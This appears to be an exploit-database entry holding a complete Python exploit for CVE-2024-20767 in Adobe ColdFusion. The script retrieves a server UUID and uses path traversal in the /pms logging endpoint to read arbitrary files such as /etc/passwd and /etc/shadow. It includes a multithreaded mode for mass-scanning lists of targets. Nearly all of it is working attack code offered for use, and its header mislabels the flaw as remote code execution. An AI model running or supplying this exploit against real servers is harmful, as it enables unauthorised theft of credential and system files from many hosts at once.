📄 Adobe ColdFusion 2023.6 Remote File Read

# Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read
    # Exploit Author: @İbrahimsql
    # Exploit Author's github: https://github.com/ibrahmsql
    # Description: ColdFusion 2023 (LUcee) - Remote Code Execution
    # CVE: CVE-2024-20767
    # Vendor Homepage: https://www.adobe.com/
    # Requirements: requests>=2.25.0, urllib3>=1.26.0
    # Usage: python3  CVE-2024-20767.py -u http://target.com -f /etc/passwd
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    import os
    import re
    import urllib3
    import requests
    import argparse
    from urllib.parse import urlparse
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    urllib3.disable_warnings()
    
    class ColdFusionExploit:
        def __init__(self, output_file=None, port=8500):
            self.output_file = output_file
            self.port = port
            self.verbose = True
            self.session = requests.Session()
    
        def print_status(self, message, status="*"):
            colors = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"}
            reset = "\033[0m"
            print(f"{colors.get(status, '')}{status} {message}{reset}")
    
        def normalize_url(self, url):
            if not url.startswith(('http://', 'https://')):
                url = f"http://{url}"
            parsed = urlparse(url)
            if not parsed.port:
                url = f"{url}:{self.port}"
            return url.rstrip('/')
    
        def get_uuid(self, url):
            endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat"
            try:
                response = self.session.get(f"{url}{endpoint}", verify=False, timeout=10)
                if response.status_code == 200:
                    match = re.search(r"<var name='uuid'><string>(.+?)</string></var>", response.text)
                    if match:
                        uuid = match.group(1)
                        if self.verbose:
                            self.print_status(f"UUID: {uuid[:8]}...", "+")
                        return uuid
            except Exception as e:
                if self.verbose:
                    self.print_status(f"Error: {e}", "-")
            return None
    
        def read_file(self, url, uuid, file_path):
            headers = {"uuid": uuid}
            endpoint = f"/pms?module=logging&file_name=../../../../../../../{file_path}&number_of_lines=100"
            try:
                response = self.session.get(f"{url}{endpoint}", verify=False, headers=headers, timeout=10)
                if response.status_code == 200 and response.text.strip() != "[]":
                    return response.text
            except:
                pass
            return None
    
        def test_files(self, url, uuid):
            files = {
                "Linux": ["etc/passwd", "etc/shadow", "etc/hosts"],
                "Windows": ["Windows/win.ini", "Windows/System32/drivers/etc/hosts", "boot.ini"]
            }
            
            for os_name, file_list in files.items():
                for file_path in file_list:
                    content = self.read_file(url, uuid, file_path)
                    if content:
                        self.print_status(f"VULNERABLE: {url} - {os_name} - {file_path}", "+")
                        if self.verbose:
                            print(content[:200] + "..." if len(content) > 200 else content)
                            print("-" * 50)
                        if self.output_file:
                            with open(self.output_file, "a") as f:
                                f.write(f"{url} - {os_name} - {file_path}\n")
                        return True
            return False
    
        def exploit_custom_file(self, url, uuid, custom_file):
            content = self.read_file(url, uuid, custom_file)
            if content:
                self.print_status(f"File read: {custom_file}", "+")
                print(content)
                return True
            else:
                self.print_status(f"Failed to read: {custom_file}", "-")
                return False
    
        def exploit(self, url, custom_file=None):
            url = self.normalize_url(url)
            if self.verbose:
                self.print_status(f"Testing: {url}")
            
            uuid = self.get_uuid(url)
            if not uuid:
                if self.verbose:
                    self.print_status(f"No UUID: {url}", "-")
                return False
            
            if custom_file:
                return self.exploit_custom_file(url, uuid, custom_file)
            else:
                return self.test_files(url, uuid)
    
        def scan_file(self, target_file, threads):
            if not os.path.exists(target_file):
                self.print_status(f"File not found: {target_file}", "-")
                return
            
            with open(target_file, "r") as f:
                urls = [line.strip() for line in f if line.strip() and not line.startswith('#')]
            
            self.print_status(f"Scanning {len(urls)} targets with {threads} threads")
            self.verbose = False
            
            vulnerable = 0
            with ThreadPoolExecutor(max_workers=threads) as executor:
                futures = {executor.submit(self.exploit, url): url for url in urls}
                for future in as_completed(futures):
                    url = futures[future]
                    try:
                        if future.result():
                            vulnerable += 1
                            print(f"[+] {url}")
                        else:
                            print(f"[-] {url}")
                    except Exception as e:
                        print(f"[!] {url} - Error: {e}")
            
            self.print_status(f"Scan complete: {vulnerable}/{len(urls)} vulnerable", "+")
    
    def main():
        parser = argparse.ArgumentParser(description="ColdFusion CVE-2024-20767 Exploit")
        parser.add_argument("-u", "--url", help="Target URL")
        parser.add_argument("-f", "--file", help="File with target URLs")
        parser.add_argument("-p", "--port", type=int, default=8500, help="Port (default: 8500)")
        parser.add_argument("-c", "--custom", help="Custom file to read")
        parser.add_argument("-o", "--output", help="Output file")
        parser.add_argument("-t", "--threads", type=int, default=20, help="Threads (default: 20)")
        parser.add_argument("-q", "--quiet", action="store_true", help="Quiet mode")
        
        args = parser.parse_args()
        
        if not args.url and not args.file:
            parser.print_help()
            return
        
        exploit = ColdFusionExploit(args.output, args.port)
        exploit.verbose = not args.quiet
        
        if args.url:
            exploit.exploit(args.url, args.custom)
        elif args.file:
            exploit.scan_file(args.file, args.threads)
    
    if __name__ == "__main__":
        main()